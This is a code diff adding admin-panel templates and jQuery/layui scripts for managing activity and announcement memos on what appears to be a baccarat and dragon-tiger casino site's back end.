$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/memo/activity';
|
||||
if(id == "2") location.href = '/memo/activity_add';
|
||||
});
|
||||
// 时间选择器
|
||||
layui.use('laydate', function () {
|
||||
var laydate = layui.laydate;
|
||||
|
||||
// 开始时间
|
||||
laydate.render({
|
||||
elem: '#start',
|
||||
type: 'datetime'
|
||||
});
|
||||
|
||||
// 结束时间
|
||||
laydate.render({
|
||||
elem: '#end',
|
||||
type: 'datetime'
|
||||
});
|
||||
});
|
||||
|
||||
/*锁定/解锁*/
|
||||
function member_stop(obj, id) {
|
||||
layer.confirm('确认要' + $(obj).attr('title') + '吗?', function (index) {
|
||||
if ($(obj).attr('title') == '锁定') {
|
||||
// 拼装数据发送后台 锁定 会员
|
||||
var query = new Object;
|
||||
query.id = id;
|
||||
query.type = 2;
|
||||
query.status = 0;
|
||||
var result = ajax('/memo/change_status', query);
|
||||
} else {
|
||||
// 拼装数据发送后台 解锁 会员
|
||||
var query = new Object;
|
||||
query.id = id;
|
||||
query.type = 2;
|
||||
query.status = 1;
|
||||
var result = ajax('/memo/change_status', query);
|
||||
}
|
||||
|
||||
// 判断结果 弹出提示
|
||||
if (result.code == 1) {
|
||||
layer.msg(result.msg, {icon: 1, time: 1500});
|
||||
setInterval(function () {
|
||||
location.reload();
|
||||
}, 1500);
|
||||
} else {
|
||||
layer.msg(result.msg, {icon: 2, time: 1500});
|
||||
}
|
||||
|
||||
});
|
||||
}
|
||||
|
||||
/*用户-删除*/
|
||||
function member_del(obj, id) {
|
||||
layer.confirm('确认要删除吗?',function () {
|
||||
// 数据验证
|
||||
if(id <= 0){
|
||||
layer.msg('删除出错!');
|
||||
return false;
|
||||
}
|
||||
|
||||
// 拼装数据
|
||||
var query = new Object;
|
||||
query.id = id;
|
||||
query.type = 2;
|
||||
|
||||
// 发送数据到后台删除会员
|
||||
var result = ajax('/memo/delete',query);
|
||||
if(result.code == 1){
|
||||
layer.msg(result.msg, {icon: 1, time: 1000},function(){
|
||||
location.reload();
|
||||
});
|
||||
}else if(result.code == 0){
|
||||
layer.msg(result.msg, {icon: 2, time: 1000});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* 封装 AJAX 函数
|
||||
* @param url 目标地址
|
||||
* @param query 参数
|
||||
* @returns {string}
|
||||
*/
|
||||
function ajax(url, query) {
|
||||
var returnData = "";
|
||||
$.ajax({
|
||||
url: url,
|
||||
data: query,
|
||||
type: 'POST',
|
||||
dataType: 'JSON',
|
||||
async: false,
|
||||
success: function (data) {
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
$('#print').click(function(){
|
||||
var qs = getQueryString();
|
||||
var title = qs["title"];
|
||||
var status = qs["status"];
|
||||
if(title == undefined){
|
||||
title = '';
|
||||
}
|
||||
if(status == undefined){
|
||||
status = '';
|
||||
}
|
||||
layer.open({
|
||||
type: 2,
|
||||
title:'活动列表打印',
|
||||
content: '/memo/activity_print?title='+title+'&status='+status,
|
||||
area: ['95%', '95%']
|
||||
});
|
||||
});
|
||||
function getQueryString() {
|
||||
var qs = location.search.substr(1), // 获取url中"?"符后的字串
|
||||
args = {}, // 保存参数数据的对象
|
||||
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
|
||||
item = null,
|
||||
len = items.length;
|
||||
|
||||
for(var i = 0; i < len; i++) {
|
||||
item = items[i].split("=");
|
||||
var name = decodeURIComponent(item[0]),
|
||||
value = decodeURIComponent(item[1]);
|
||||
if(name) {
|
||||
args[name] = value;
|
||||
}
|
||||
}
|
||||
return args;
|
||||
}
|
||||
|
||||
// 导出excel
|
||||
$('#export').click(function(){
|
||||
var title = $('#title').val();
|
||||
var status = $('#status').val();
|
||||
layer.confirm('确定导出 excel 吗?',function(index){
|
||||
location.href = "/memo/activity?export=1&&title="+title+"&&status="+status;
|
||||
layer.close(index);
|
||||
});
|
||||
})
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,180 @@
|
||||
{include file="public/header"}
|
||||
<style type="text/css">
|
||||
textarea, input[type="text"], input[type="password"],
|
||||
.uneditable-input{border: 1px solid #ccc;background-color: #fff;}
|
||||
textarea{padding:6px}
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.x-nav{overflow: inherit; }
|
||||
.x-nav .refresh{margin-right: 20px; }
|
||||
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
|
||||
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
|
||||
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
|
||||
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
|
||||
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
|
||||
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one" data-id="1">活动列表</a>
|
||||
<a href="javascript:;" class="list-two actived" data-id="2">活动添加</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="info_from form-horizontal">
|
||||
<div class="control-group">
|
||||
<label class="control-label">请选择桌子:</label>
|
||||
<div class="controls">
|
||||
<select id="L_tablename" name="L_tablename" type="text" value maxlength="50" minlength="3" class="required">
|
||||
<option value="-1" selected>请选择桌子</option>
|
||||
<option value="all" >所有桌子</option>
|
||||
<option value="all_baccarat" >百家乐桌台</option>
|
||||
<option value="all_dt" >龙虎桌台</option>
|
||||
{foreach name="$table_list" item="vo"}
|
||||
<option value="{$vo.id}" <?php if(isset($get['table_id']) && $get['table_id'] == $vo['id']) {echo 'selected';} ?>>{$vo.table_name}</option>
|
||||
{/foreach}
|
||||
</select>
|
||||
<span class="help-inline">
|
||||
<font color="red"> * </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">活动标题:</label>
|
||||
<div class="controls">
|
||||
<input id="L_title" name="L_title" type="text" value maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">链接地址:</label>
|
||||
<div class="controls">
|
||||
<input id="L_url" name="L_url" type="text" value maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">活动内容:</label>
|
||||
<div class="controls">
|
||||
<textarea id="L_content" name="L_content" type="text" value maxlength="50" minlength="3" class="required"></textarea>
|
||||
<span class="help-inline">
|
||||
<font color="red"> * </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">备注信息:</label>
|
||||
<div class="controls">
|
||||
<textarea id="L_remark" name="L_remark" type="text" value maxlength="50" minlength="3" class="required"></textarea>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">请选择活动位置:</label>
|
||||
<div class="controls">
|
||||
<select id="L_position" name="L_position" type="text" value maxlength="50" minlength="3" class="required">
|
||||
<option value="-1" selected>请选择活动位置</option>
|
||||
<option value="1">投注页面</option>
|
||||
<option value="2">现场页面</option>
|
||||
<option value="3">所有页面</option>
|
||||
</select>
|
||||
<span class="help-inline">
|
||||
<font color="red"> * </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="bottom-buttom">
|
||||
<label class="control-label"></label>
|
||||
<div class="controls">
|
||||
<div class='submit'>保存</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/memo/activity';
|
||||
if(id == "2") location.href = '/memo/activity_add';
|
||||
});
|
||||
|
||||
//监听提交
|
||||
$('.submit').click(function (data) {
|
||||
// 获取和拼装添加代理的数据
|
||||
var query = new Object();
|
||||
query.table_id = $('#L_tablename').val();
|
||||
query.title = $('#L_title').val();
|
||||
query.url = $('#L_url').val();
|
||||
query.content = $('#L_content').val();
|
||||
query.remark = $('#L_remark').val();
|
||||
query.position = $('#L_position').val();
|
||||
query.type = 2;
|
||||
|
||||
// 验证数据
|
||||
if(query.table_id == -1){
|
||||
layer.alert("请选择桌子!");
|
||||
return false;
|
||||
}
|
||||
if(query.title.length == 0){
|
||||
layer.alert("请填写活动标题!");
|
||||
return false;
|
||||
}
|
||||
if(query.url.length == 0){
|
||||
layer.alert("请填写活动链接!");
|
||||
return false;
|
||||
}
|
||||
if(query.content.length <= 0){
|
||||
layer.alert("请填写活动内容!");
|
||||
return false;
|
||||
}
|
||||
if(query.position == -1){
|
||||
layer.alert("请选择活动位置!");
|
||||
return false;
|
||||
}
|
||||
|
||||
// 发送数据到后台添加会员
|
||||
var result = ajax('/memo/do_memo_add',query);
|
||||
if(result.code == 1){
|
||||
layer.alert(result.msg, {icon: 6}, function () {
|
||||
location.href = "/memo/activity";
|
||||
});
|
||||
}else{
|
||||
layer.alert(result.msg,{icon:2});
|
||||
}
|
||||
return false;
|
||||
});
|
||||
|
||||
// AJAX函数封装
|
||||
function ajax(url,query){
|
||||
var returnData = 0;
|
||||
$.ajax({
|
||||
url:url,
|
||||
data:query,
|
||||
type:'POST',
|
||||
dataType:'JSON',
|
||||
async:false,
|
||||
success:function(data){
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,134 @@
|
||||
{include file="public/header"}
|
||||
<style type="text/css">
|
||||
textarea, input[type="text"], input[type="password"],
|
||||
.uneditable-input{border: 1px solid #ccc;background-color: #fff;}
|
||||
textarea{padding:6px}
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.x-nav{overflow: inherit; }
|
||||
.x-nav .refresh{margin-right: 20px; }
|
||||
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
|
||||
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
|
||||
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
|
||||
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
|
||||
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
|
||||
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one" data-id="1">活动列表</a>
|
||||
<a href="javascript:;" class="list-two actived" data-id="2">活动修改</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="info_from form-horizontal">
|
||||
<div class="control-group">
|
||||
<label class="control-label">活动标题:</label>
|
||||
<div class="controls">
|
||||
<input id="L_title" name="L_title" type="text" value="{$memo.title}" maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">链接地址:</label>
|
||||
<div class="controls">
|
||||
<input id="L_url" name="L_url" type="text" value="{$memo.url}" maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">活动内容:</label>
|
||||
<div class="controls">
|
||||
<textarea id="L_content" name="L_content" type="text" value maxlength="50" minlength="3" class="required">{$memo.content}</textarea>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">备注信息:</label>
|
||||
<div class="controls">
|
||||
<textarea id="L_remark" name="L_remark" type="text" value maxlength="50" minlength="3" class="required">{$memo.remark}</textarea>
|
||||
</div>
|
||||
</div>
|
||||
<div class="bottom-buttom">
|
||||
<label class="control-label"></label>
|
||||
<div class="controls">
|
||||
<div class='submit'>保存</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- 隐藏参数 -->
|
||||
<input type="hidden" id="memo_id" value="{$memo.id}">
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/memo/activity';
|
||||
if(id == "2") location.href = '/memo/activity_edit';
|
||||
});
|
||||
|
||||
//监听提交
|
||||
$('.submit').click(function (data) {
|
||||
// 获取和拼装添加代理的数据
|
||||
var query = new Object();
|
||||
query.id = $('#memo_id').val();
|
||||
query.title = $('#L_title').val();
|
||||
query.url = $('#L_url').val();
|
||||
query.content = $('#L_content').val();
|
||||
query.remark = $('#L_remark').val();
|
||||
query.type = 2;
|
||||
|
||||
// 验证数据
|
||||
if(query.title.length == 0){
|
||||
layer.alert("请填写活动标题!");
|
||||
return false;
|
||||
}
|
||||
if(query.content.length <= 0){
|
||||
layer.alert("请填写活动内容!");
|
||||
return false;
|
||||
}
|
||||
|
||||
// 发送数据到后台添加会员
|
||||
var result = ajax('/memo/do_memo_edit',query);
|
||||
if(result.code == 1){
|
||||
layer.alert(result.msg, {icon: 6}, function () {
|
||||
location.href = "/memo/activity";
|
||||
});
|
||||
}else{
|
||||
layer.alert(result.msg,{icon:2});
|
||||
}
|
||||
return false;
|
||||
});
|
||||
|
||||
// AJAX函数封装
|
||||
function ajax(url,query){
|
||||
var returnData = 0;
|
||||
$.ajax({
|
||||
url:url,
|
||||
data:query,
|
||||
type:'POST',
|
||||
dataType:'JSON',
|
||||
async:false,
|
||||
success:function(data){
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,42 @@
|
||||
{include file="public/header"}
|
||||
<body>
|
||||
<div class="x-body">
|
||||
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
|
||||
<table class="layui-table">
|
||||
<div style="text-align: center;font-size: 18px;font-weight:bold;">活动列表</div>
|
||||
<thead>
|
||||
<tr>
|
||||
<th style="text-align: center;">桌子名称</th>
|
||||
<th style="text-align: center;">标题</th>
|
||||
<th style="text-align: center;">url链接</th>
|
||||
<th style="text-align: center;">内容</th>
|
||||
<th style="text-align: center;">备注</th>
|
||||
<th style="text-align: center;">显示位置</th>
|
||||
<th style="text-align: center;">创建时间</th>
|
||||
<th style="text-align: center;">状态</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="memo_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.table_name}</td>
|
||||
<td>{$vo.title}</td>
|
||||
<td>{$vo.url}</td>
|
||||
<td>{$vo.content}</td>
|
||||
<td>{$vo.position}</td>
|
||||
<td>{$vo.remark}</td>
|
||||
<td>{$vo.create_time}</td>
|
||||
{if condition="$vo.status == 1"}
|
||||
<td>正常</span>
|
||||
</td>
|
||||
{else}
|
||||
<td>锁定中</span>
|
||||
</td>
|
||||
{/if}
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,267 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ margin-top:15px; margin-bottom:10px; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one actived" data-id="1">公告列表</a>
|
||||
<a href="javascript:;" class="list-two" data-id="2">公告添加</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<!--
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so float-left" action="/memo/memo" method="get">
|
||||
<input type="text" name="title" id="title" placeholder="标题" autocomplete="off" class="layui-input" value="<?php if(isset($get['title'])) {echo $get['title'];} ?>">
|
||||
<div class="layui-input-block" >
|
||||
<select name="status" id="status">
|
||||
<option value="-1" selected>请选择状态</option>
|
||||
<option value="1" <?php if(isset($get['status']) && $get['status'] == 1) {echo 'selected';} ?>>正常</option>
|
||||
<option value="2" <?php if(isset($get['status']) && $get['status'] == 2) {echo 'selected';} ?>>锁定</option>
|
||||
</select>
|
||||
</div>
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
<span class="layui-btn" id="export">导出excel</span>
|
||||
<span class="layui-btn" id="print">打印</span>
|
||||
</form>
|
||||
</div>
|
||||
-->
|
||||
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<!--<th>桌子名称</th>-->
|
||||
<th>标题</th>
|
||||
<!--
|
||||
<th>url链接</th>
|
||||
<th>内容</th>
|
||||
<th>备注</th>
|
||||
<th>显示位置</th>
|
||||
-->
|
||||
<th>创建时间</th>
|
||||
<th>状态</th>
|
||||
<th>操作</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="memo_list" item="vo"}
|
||||
<tr>
|
||||
<!--
|
||||
<td>{$vo.table_name}</td>
|
||||
-->
|
||||
<td>{$vo.title}</td>
|
||||
<!--
|
||||
<td>{$vo.url}</td>
|
||||
<td>{$vo.content}</td>
|
||||
<td>{$vo.remark}</td>
|
||||
<td>{$vo.position}</td>
|
||||
-->
|
||||
<td>{$vo.create_time}</td>
|
||||
{if condition="$vo.status == 1"}
|
||||
<td class="td-status">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini">正常</span>
|
||||
</td>
|
||||
{else}
|
||||
<td class="td-status">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#ff5050;">锁定中</span>
|
||||
</td>
|
||||
{/if}
|
||||
<td class="td-manage">
|
||||
<!--
|
||||
{if condition="$vo.status == 1"}
|
||||
<a onclick="member_stop(this,'{$vo.id}')" href="javascript:;" title="锁定">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini">锁定</span>
|
||||
</a>
|
||||
{else}
|
||||
<a onclick="member_stop(this,'{$vo.id}')" href="javascript:;" title="解锁">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini">解锁</span>
|
||||
</a>
|
||||
{/if}
|
||||
-->
|
||||
<a href="/memo/memo_edit?id={$vo.id}">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;">修改</span>
|
||||
</a>
|
||||
<a onclick="member_del(this,'{$vo.id}')" href="javascript:;">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#ff5050;">删除</span>
|
||||
</a>
|
||||
</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
{$memo_list->render()}
|
||||
</div>
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/memo/memo';
|
||||
if(id == "2") location.href = '/memo/memo_add';
|
||||
});
|
||||
// 时间选择器
|
||||
layui.use('laydate', function () {
|
||||
var laydate = layui.laydate;
|
||||
|
||||
// 开始时间
|
||||
laydate.render({
|
||||
elem: '#start',
|
||||
type: 'datetime'
|
||||
});
|
||||
|
||||
// 结束时间
|
||||
laydate.render({
|
||||
elem: '#end',
|
||||
type: 'datetime'
|
||||
});
|
||||
});
|
||||
|
||||
/*锁定/解锁*/
|
||||
function member_stop(obj, id) {
|
||||
layer.confirm('确认要' + $(obj).attr('title') + '吗?', function (index) {
|
||||
if ($(obj).attr('title') == '锁定') {
|
||||
// 拼装数据发送后台 锁定 会员
|
||||
var query = new Object;
|
||||
query.id = id;
|
||||
query.type = 1;
|
||||
query.status = 0;
|
||||
var result = ajax('/memo/change_status', query);
|
||||
} else {
|
||||
// 拼装数据发送后台 解锁 会员
|
||||
var query = new Object;
|
||||
query.id = id;
|
||||
query.type = 1;
|
||||
query.status = 1;
|
||||
var result = ajax('/memo/change_status', query);
|
||||
}
|
||||
|
||||
// 判断结果 弹出提示
|
||||
if (result.code == 1) {
|
||||
layer.msg(result.msg, {icon: 1, time: 1500});
|
||||
setInterval(function () {
|
||||
location.reload();
|
||||
}, 1500);
|
||||
} else {
|
||||
layer.msg(result.msg, {icon: 2, time: 1500});
|
||||
}
|
||||
|
||||
});
|
||||
}
|
||||
|
||||
/*用户-删除*/
|
||||
function member_del(obj, id) {
|
||||
layer.confirm('确认要删除吗?',function () {
|
||||
// 数据验证
|
||||
if(id <= 0){
|
||||
layer.msg('删除用户出错!');
|
||||
return false;
|
||||
}
|
||||
|
||||
// 拼装数据
|
||||
var query = new Object;
|
||||
query.id = id;
|
||||
query.type = 1;
|
||||
|
||||
// 发送数据到后台删除会员
|
||||
var result = ajax('/memo/delete',query);
|
||||
if(result.code == 1){
|
||||
layer.msg(result.msg, {icon: 1, time: 1000},function(){
|
||||
location.reload();
|
||||
});
|
||||
}else if(result.code == 0){
|
||||
layer.msg(result.msg, {icon: 2, time: 1000});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* 封装 AJAX 函数
|
||||
* @param url 目标地址
|
||||
* @param query 参数
|
||||
* @returns {string}
|
||||
*/
|
||||
function ajax(url, query) {
|
||||
var returnData = "";
|
||||
$.ajax({
|
||||
url: url,
|
||||
data: query,
|
||||
type: 'POST',
|
||||
dataType: 'JSON',
|
||||
async: false,
|
||||
success: function (data) {
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
$('#print').click(function(){
|
||||
var qs = getQueryString();
|
||||
var title = qs["title"];
|
||||
var status = qs["status"];
|
||||
if(title == undefined){
|
||||
title = '';
|
||||
}
|
||||
if(status == undefined){
|
||||
status = '';
|
||||
}
|
||||
layer.open({
|
||||
type: 2,
|
||||
title:'公告列表打印',
|
||||
content: '/memo/memo_print?title='+title+'&status='+status,
|
||||
area: ['95%', '95%']
|
||||
});
|
||||
});
|
||||
function getQueryString() {
|
||||
var qs = location.search.substr(1), // 获取url中"?"符后的字串
|
||||
args = {}, // 保存参数数据的对象
|
||||
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
|
||||
item = null,
|
||||
len = items.length;
|
||||
|
||||
for(var i = 0; i < len; i++) {
|
||||
item = items[i].split("=");
|
||||
var name = decodeURIComponent(item[0]),
|
||||
value = decodeURIComponent(item[1]);
|
||||
if(name) {
|
||||
args[name] = value;
|
||||
}
|
||||
}
|
||||
return args;
|
||||
}
|
||||
|
||||
// 导出excel
|
||||
$('#export').click(function(){
|
||||
var title = $('#title').val();
|
||||
var status = $('#status').val();
|
||||
layer.confirm('确定导出 excel 吗?',function(index){
|
||||
location.href = "/memo/memo?export=1&&title="+title+"&&status="+status;
|
||||
layer.close(index);
|
||||
});
|
||||
})
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,188 @@
|
||||
{include file="public/header"}
|
||||
<style type="text/css">
|
||||
textarea, input[type="text"], input[type="password"],
|
||||
.uneditable-input{border: 1px solid #ccc;background-color: #fff;}
|
||||
textarea{padding:6px}
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.x-nav{overflow: inherit; }
|
||||
.x-nav .refresh{margin-right: 20px; }
|
||||
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
|
||||
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
|
||||
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
|
||||
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
|
||||
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
|
||||
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one" data-id="1">公告列表</a>
|
||||
<a href="javascript:;" class="list-two actived" data-id="2">公告添加</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="info_from form-horizontal">
|
||||
<!--
|
||||
<div class="control-group">
|
||||
<label class="control-label">请选择桌子:</label>
|
||||
<div class="controls">
|
||||
<select id="L_tablename" name="L_tablename" type="text" class="required">
|
||||
<option value="0" selected>请选择桌子</option>
|
||||
<option value="all" >所有桌子</option>
|
||||
<option value="all_baccarat" >百家乐桌台</option>
|
||||
<option value="all_dt" >龙虎桌台</option>
|
||||
<option value="all" >所有桌子</option>
|
||||
{foreach name="$table_list" item="vo"}
|
||||
<option value="{$vo.id}" <?php if(isset($get['table_id']) && $get['table_id'] == $vo['id']) {echo 'selected';} ?>>{$vo.table_name}</option>
|
||||
{/foreach}
|
||||
</select>
|
||||
